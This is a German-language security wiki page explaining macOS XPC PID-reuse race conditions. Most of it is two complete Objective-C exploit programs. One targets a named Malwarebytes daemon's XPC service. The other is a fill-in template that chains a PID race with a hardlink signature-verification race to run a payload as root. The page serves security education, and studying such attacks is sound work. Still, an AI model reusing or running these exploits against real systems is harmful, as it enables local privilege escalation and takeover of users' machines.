macOS PID Reuse

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PID Wiederverwendung

Wenn ein macOS XPC-Dienst den aufgerufenen Prozess basierend auf der PID und nicht auf dem Audit-Token überprüft, ist er anfällig für einen PID-Wiederverwendungsangriff. Dieser Angriff basiert auf einer Rennbedingung, bei der ein Exploit Nachrichten an den XPC-Dienst sendet, um die Funktionalität auszunutzen, und kurz danach posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ) mit der erlaubten Binärdatei ausführt.

Diese Funktion lässt die erlaubte Binärdatei die PID besitzen, aber die bösartige XPC-Nachricht wäre gerade vorher gesendet worden. Wenn der XPC-Dienst die PID zur Authentifizierung des Absenders verwendet und sie NACH der Ausführung von posix_spawn überprüft, wird er denken, dass sie von einem autorisierte Prozess kommt.

Exploit-Beispiel

Wenn du die Funktion shouldAcceptNewConnection oder eine von ihr aufgerufene Funktion findest, die processIdentifier aufruft und nicht auditToken aufruft. Es bedeutet höchstwahrscheinlich, dass sie die PID des Prozesses und nicht das Audit-Token überprüft. Wie zum Beispiel in diesem Bild (aus der Referenz entnommen):

Überprüfe dieses Beispiel-Exploit (wiederum aus der Referenz entnommen), um die 2 Teile des Exploits zu sehen:

• Einer, der mehrere Forks generiert

• Jeder Fork wird die Payload an den XPC-Dienst senden, während er posix_spawn direkt nach dem Senden der Nachricht ausführt.

Damit der Exploit funktioniert, ist es wichtig, export`` ``OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES oder es innerhalb des Exploits zu setzen:

asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
".no_dead_strip empty\n");

NSTasks

Erste Option mit NSTasks und Argument, um die Kinder zu starten, um die RC auszunutzen.

// Code from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/
// gcc -framework Foundation expl.m -o expl

#import <Foundation/Foundation.h>
#include <spawn.h>
#include <sys/stat.h>

#define RACE_COUNT 32
#define MACH_SERVICE @"com.malwarebytes.mbam.rtprotection.daemon"
#define BINARY "/Library/Application Support/Malwarebytes/MBAM/Engine.bundle/Contents/PlugIns/RTProtectionDaemon.app/Contents/MacOS/RTProtectionDaemon"

// allow fork() between exec()
asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
".no_dead_strip empty\n");

extern char **environ;

// defining necessary protocols
@protocol ProtectionService
- (void)startDatabaseUpdate;
- (void)restoreApplicationLauncherWithCompletion:(void (^)(BOOL))arg1;
- (void)uninstallProduct;
- (void)installProductUpdate;
- (void)startProductUpdateWith:(NSUUID *)arg1 forceInstall:(BOOL)arg2;
- (void)buildPurchaseSiteURLWithCompletion:(void (^)(long long, NSString *))arg1;
- (void)triggerLicenseRelatedChecks;
- (void)buildRenewalLinkWith:(NSUUID *)arg1 completion:(void (^)(long long, NSString *))arg2;
- (void)cancelTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)startTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)unredeemLicenseKeyWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)applyLicenseWith:(NSUUID *)arg1 key:(NSString *)arg2 completion:(void (^)(long long))arg3;
- (void)controlProtectionWithRawFeatures:(long long)arg1 rawOperation:(long long)arg2;
- (void)restartOS;
- (void)resumeScanJob;
- (void)pauseScanJob;
- (void)stopScanJob;
- (void)startScanJob;
- (void)disposeOperationBy:(NSUUID *)arg1;
- (void)subscribeTo:(long long)arg1;
- (void)pingWithTag:(NSUUID *)arg1 completion:(void (^)(NSUUID *, long long))arg2;
@end

void child() {

// send the XPC messages
NSXPCInterface *remoteInterface = [NSXPCInterface interfaceWithProtocol:@protocol(ProtectionService)];
NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:MACH_SERVICE options:NSXPCConnectionPrivileged];
xpcConnection.remoteObjectInterface = remoteInterface;

[xpcConnection resume];
[xpcConnection.remoteObjectProxy restartOS];

char target_binary[] = BINARY;
char *target_argv[] = {target_binary, NULL};
posix_spawnattr_t attr;
posix_spawnattr_init(&attr);
short flags;
posix_spawnattr_getflags(&attr, &flags);
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
posix_spawnattr_setflags(&attr, flags);
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
}

bool create_nstasks() {

NSString *exec = [[NSBundle mainBundle] executablePath];
NSTask *processes[RACE_COUNT];

for (int i = 0; i < RACE_COUNT; i++) {
processes[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ @"imanstask" ]];
}

int i = 0;
struct timespec ts = {
.tv_sec = 0,
.tv_nsec = 500 * 1000000,
};

nanosleep(&ts, NULL);
if (++i > 4) {
for (int i = 0; i < RACE_COUNT; i++) {
[processes[i] terminate];
}
return false;
}

return true;
}

int main(int argc, const char * argv[]) {

if(argc > 1) {
// called from the NSTasks
child();

} else {
NSLog(@"Starting the race");
create_nstasks();
}

return 0;
}

fork

Dieses Beispiel verwendet ein rohes fork, um Kinder zu starten, die die PID-Rennbedingung ausnutzen und dann eine weitere Rennbedingung über einen Hardlink ausnutzen:

// export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES
// gcc -framework Foundation expl.m -o expl

#include <Foundation/Foundation.h>
#include <spawn.h>
#include <pthread.h>

// TODO: CHANGE PROTOCOL AND FUNCTIONS
@protocol HelperProtocol
- (void)DoSomething:(void (^)(_Bool))arg1;
@end

// Global flag to track exploitation status
bool pwned = false;

/**
* Continuously overwrite the contents of the 'hard_link' file in a race condition to make the
* XPC service verify the legit binary and then execute as root out payload.
*/
void *check_race(void *arg) {
while(!pwned) {
// Overwrite with contents of the legit binary
system("cat ./legit_bin > hard_link");
usleep(50000);

// Overwrite with contents of the payload to execute
// TODO: COMPILE YOUR OWN PAYLOAD BIN
system("cat ./payload > hard_link");
usleep(50000);
}
return NULL;
}

void child_xpc_pid_rc_abuse(){
// TODO: INDICATE A VALID BIN TO BYPASS SIGN VERIFICATION
#define kValid "./Legit Updater.app/Contents/MacOS/Legit"
extern char **environ;

// Connect with XPC service
// TODO: CHANGE THE ID OF THE XPC TO EXPLOIT
NSString*  service_name = @"com.example.Helper";
NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name options:0x1000];
// TODO: CNAGE THE PROTOCOL NAME
NSXPCInterface* interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];
[connection setRemoteObjectInterface:interface];
[connection resume];

id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError* error) {
NSLog(@"[-] Something went wrong");
NSLog(@"[-] Error: %@", error);
}];

NSLog(@"obj: %@", obj);
NSLog(@"conn: %@", connection);

// Call vulenrable XPC function
// TODO: CHANEG NAME OF FUNCTION TO CALL
[obj DoSomething:^(_Bool b){
NSLog(@"Response, %hdd", b);
}];

// Change current process to the legit binary suspended
char target_binary[] = kValid;
char *target_argv[] = {target_binary, NULL};
posix_spawnattr_t attr;
posix_spawnattr_init(&attr);
short flags;
posix_spawnattr_getflags(&attr, &flags);
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
posix_spawnattr_setflags(&attr, flags);
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
}

/**
* Function to perform the PID race condition using children calling the XPC exploit.
*/
void xpc_pid_rc_abuse() {
#define RACE_COUNT 1
extern char **environ;
int pids[RACE_COUNT];

// Fork child processes to exploit
for (int i = 0; i < RACE_COUNT; i++) {
int pid = fork();
if (pid == 0) {  // If a child process
child_xpc_pid_rc_abuse();
}
printf("forked %d\n", pid);
pids[i] = pid;
}

// Wait for children to finish their tasks
sleep(3);

// Terminate child processes
for (int i = 0; i < RACE_COUNT; i++) {
if (pids[i]) {
kill(pids[i], 9);
}
}
}

int main(int argc, const char * argv[]) {
// Create and set execution rights to 'hard_link' file
system("touch hard_link");
system("chmod +x hard_link");

// Create thread to exploit sign verification RC
pthread_t thread;
pthread_create(&thread, NULL, check_race, NULL);

while(!pwned) {
// Try creating 'download' directory, ignore errors
system("mkdir download 2>/dev/null");

// Create a hardlink
// TODO: CHANGE NAME OF FILE FOR SIGN VERIF RC
system("ln hard_link download/legit_bin");

xpc_pid_rc_abuse();
usleep(10000);

// The payload will generate this file if exploitation is successfull
if (access("/tmp/pwned", F_OK ) == 0) {
pwned = true;
}
}

return 0;
}

Weitere Beispiele

• https://gergelykalman.com/why-you-shouldnt-use-a-commercial-vpn-amateur-hour-with-windscribe.html

Referenzen

• https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/

• https://saelo.github.io/presentations/warcon18_dont_trust_the_pid.pdf

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